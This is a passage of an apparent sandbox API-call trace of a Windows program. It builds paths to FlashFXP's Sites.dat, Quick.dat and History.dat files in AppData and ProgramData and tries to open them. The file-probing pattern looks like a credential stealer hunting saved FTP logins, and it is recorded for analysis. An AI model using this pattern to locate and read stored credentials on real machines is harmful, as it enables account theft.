returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3" [0056.100] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3") returned 50 [0056.100] lstrlenA (lpString="\\Sites.dat") returned 10 [0056.101] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x2cbd10 [0056.101] lstrcpyA (in: lpString1=0x2cbd10, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3" [0056.101] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3", lpString2="\\Sites.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\Sites.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\Sites.dat" [0056.101] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.101] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\Sites.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3e [0056.101] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2cc8d0 [0056.101] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\Sites.dat", lpDst=0x2cc8d0, nSize=0x3e | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\Sites.dat") returned 0x3d [0056.101] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\Sites.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\flashfxp\\3\\sites.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.101] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.101] LocalFree (hMem=0x2cbd10) returned 0x0 [0056.101] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0056.101] lstrlenA (lpString="\\FlashFXP\\4") returned 11 [0056.101] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x2cc8d0 [0056.101] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0056.101] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\FlashFXP\\4" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4" [0056.101] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4") returned 50 [0056.101] lstrlenA (lpString="\\Sites.dat") returned 10 [0056.101] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x2cbd10 [0056.101] lstrcpyA (in: lpString1=0x2cbd10, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4" [0056.101] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4", lpString2="\\Sites.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\Sites.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\Sites.dat" [0056.101] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.101] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\Sites.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3e [0056.101] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2cc8d0 [0056.101] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\Sites.dat", lpDst=0x2cc8d0, nSize=0x3e | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\Sites.dat") returned 0x3d [0056.101] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\Sites.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\flashfxp\\4\\sites.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.101] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.101] LocalFree (hMem=0x2cbd10) returned 0x0 [0056.101] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0056.101] lstrlenA (lpString="\\FlashFXP\\5") returned 11 [0056.101] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x2cc8d0 [0056.101] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0056.101] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\FlashFXP\\5" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5" [0056.101] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5") returned 50 [0056.101] lstrlenA (lpString="\\Sites.dat") returned 10 [0056.101] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x2cbd10 [0056.101] lstrcpyA (in: lpString1=0x2cbd10, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5" [0056.101] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5", lpString2="\\Sites.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5\\Sites.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5\\Sites.dat" [0056.101] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.101] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5\\Sites.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3e [0056.101] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2cc8d0 [0056.101] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5\\Sites.dat", lpDst=0x2cc8d0, nSize=0x3e | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5\\Sites.dat") returned 0x3d [0056.101] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5\\Sites.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\flashfxp\\5\\sites.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.101] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.101] LocalFree (hMem=0x2cbd10) returned 0x0 [0056.101] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0056.101] lstrlenA (lpString="\\FlashFXP\\3") returned 11 [0056.101] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x2cc8d0 [0056.101] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0056.102] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\FlashFXP\\3" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3" [0056.102] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3") returned 50 [0056.102] lstrlenA (lpString="\\Quick.dat") returned 10 [0056.102] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x2cbd10 [0056.102] lstrcpyA (in: lpString1=0x2cbd10, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3" [0056.102] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3", lpString2="\\Quick.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\Quick.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\Quick.dat" [0056.102] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.102] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\Quick.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3e [0056.102] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2cc8d0 [0056.102] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\Quick.dat", lpDst=0x2cc8d0, nSize=0x3e | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\Quick.dat") returned 0x3d [0056.102] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\Quick.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\flashfxp\\3\\quick.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.102] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.102] LocalFree (hMem=0x2cbd10) returned 0x0 [0056.102] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0056.102] lstrlenA (lpString="\\FlashFXP\\4") returned 11 [0056.102] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x2cc8d0 [0056.102] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0056.102] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\FlashFXP\\4" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4" [0056.102] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4") returned 50 [0056.102] lstrlenA (lpString="\\Quick.dat") returned 10 [0056.102] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x2cbd10 [0056.102] lstrcpyA (in: lpString1=0x2cbd10, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4" [0056.102] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4", lpString2="\\Quick.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\Quick.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\Quick.dat" [0056.102] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.102] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\Quick.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3e [0056.102] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2cc8d0 [0056.102] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\Quick.dat", lpDst=0x2cc8d0, nSize=0x3e | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\Quick.dat") returned 0x3d [0056.102] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\Quick.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\flashfxp\\4\\quick.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.102] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.102] LocalFree (hMem=0x2cbd10) returned 0x0 [0056.102] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0056.102] lstrlenA (lpString="\\FlashFXP\\5") returned 11 [0056.102] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x2cc8d0 [0056.102] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0056.102] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\FlashFXP\\5" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5" [0056.102] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5") returned 50 [0056.102] lstrlenA (lpString="\\Quick.dat") returned 10 [0056.102] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x2cbd10 [0056.102] lstrcpyA (in: lpString1=0x2cbd10, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5" [0056.102] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5", lpString2="\\Quick.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5\\Quick.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5\\Quick.dat" [0056.102] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.102] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5\\Quick.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3e [0056.102] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2cc8d0 [0056.102] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5\\Quick.dat", lpDst=0x2cc8d0, nSize=0x3e | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5\\Quick.dat") returned 0x3d [0056.102] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5\\Quick.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\flashfxp\\5\\quick.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.102] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.102] LocalFree (hMem=0x2cbd10) returned 0x0 [0056.102] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0056.102] lstrlenA (lpString="\\FlashFXP\\3") returned 11 [0056.103] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x2cc8d0 [0056.103] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0056.103] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\FlashFXP\\3" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3" [0056.103] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3") returned 50 [0056.103] lstrlenA (lpString="\\History.dat") returned 12 [0056.103] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x2cbd10 [0056.103] lstrcpyA (in: lpString1=0x2cbd10, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3" [0056.103] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3", lpString2="\\History.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\History.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\History.dat" [0056.103] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.103] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\History.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x40 [0056.103] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x2cc8d0 [0056.103] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\History.dat", lpDst=0x2cc8d0, nSize=0x40 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\History.dat") returned 0x3f [0056.103] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\History.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\flashfxp\\3\\history.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.103] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.103] LocalFree (hMem=0x2cbd10) returned 0x0 [0056.103] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0056.103] lstrlenA (lpString="\\FlashFXP\\4") returned 11 [0056.103] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x2cc8d0 [0056.103] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0056.103] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\FlashFXP\\4" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4" [0056.103] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4") returned 50 [0056.103] lstrlenA (lpString="\\History.dat") returned 12 [0056.103] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x2cbd10 [0056.103] lstrcpyA (in: lpString1=0x2cbd10, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4" [0056.103] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4", lpString2="\\History.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\History.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\History.dat" [0056.103] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.103] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\History.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x40 [0056.103] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x2cc8d0 [0056.103] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\History.dat", lpDst=0x2cc8d0, nSize=0x40 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\History.dat") returned 0x3f [0056.103] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\History.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\flashfxp\\4\\history.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.103] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.103] LocalFree (hMem=0x2cbd10) returned 0x0 [0056.103] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0056.103] lstrlenA (lpString="\\FlashFXP\\5") returned 11 [0056.103] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x2cc8d0 [0056.103] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0056.103] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\FlashFXP\\5" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5" [0056.103] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5") returned 50 [0056.103] lstrlenA (lpString="\\History.dat") returned 12 [0056.103] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x2cbd10 [0056.103] lstrcpyA (in: lpString1=0x2cbd10, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5" [0056.103] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5", lpString2="\\History.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5\\History.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5\\History.dat" [0056.103] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.103] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5\\History.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x40 [0056.103] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x2cc8d0 [0056.103] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5\\History.dat", lpDst=0x2cc8d0, nSize=0x40 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5\\History.dat") returned 0x3f [0056.103] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\5\\History.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\flashfxp\\5\\history.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.103] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.103] LocalFree (hMem=0x2cbd10) returned 0x0 [0056.104] LocalFree (hMem=0x2cc740) returned 0x0 [0056.104] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x2cc740 [0056.104] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\ProgramData") returned 0x0 [0056.104] lstrlenA (lpString="C:\\ProgramData") returned 14 [0056.104] lstrlenA (lpString="\\FlashFXP\\3") returned 11 [0056.104] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x2cc8d0 [0056.104] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0056.104] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\FlashFXP\\3" | out: lpString1="C:\\ProgramData\\FlashFXP\\3") returned="C:\\ProgramData\\FlashFXP\\3" [0056.104] lstrlenA (lpString="C:\\ProgramData\\FlashFXP\\3") returned 25 [0056.104] lstrlenA (lpString="\\Sites.dat") returned 10 [0056.104] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x2cbd10 [0056.104] lstrcpyA (in: lpString1=0x2cbd10, lpString2="C:\\ProgramData\\FlashFXP\\3" | out: lpString1="C:\\ProgramData\\FlashFXP\\3") returned="C:\\ProgramData\\FlashFXP\\3" [0056.104] lstrcatA (in: lpString1="C:\\ProgramData\\FlashFXP\\3", lpString2="\\Sites.dat" | out: lpString1="C:\\ProgramData\\FlashFXP\\3\\Sites.dat") returned="C:\\ProgramData\\FlashFXP\\3\\Sites.dat" [0056.104] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.104] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\3\\Sites.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x25 [0056.104] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x2cc8d0 [0056.104] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\3\\Sites.dat", 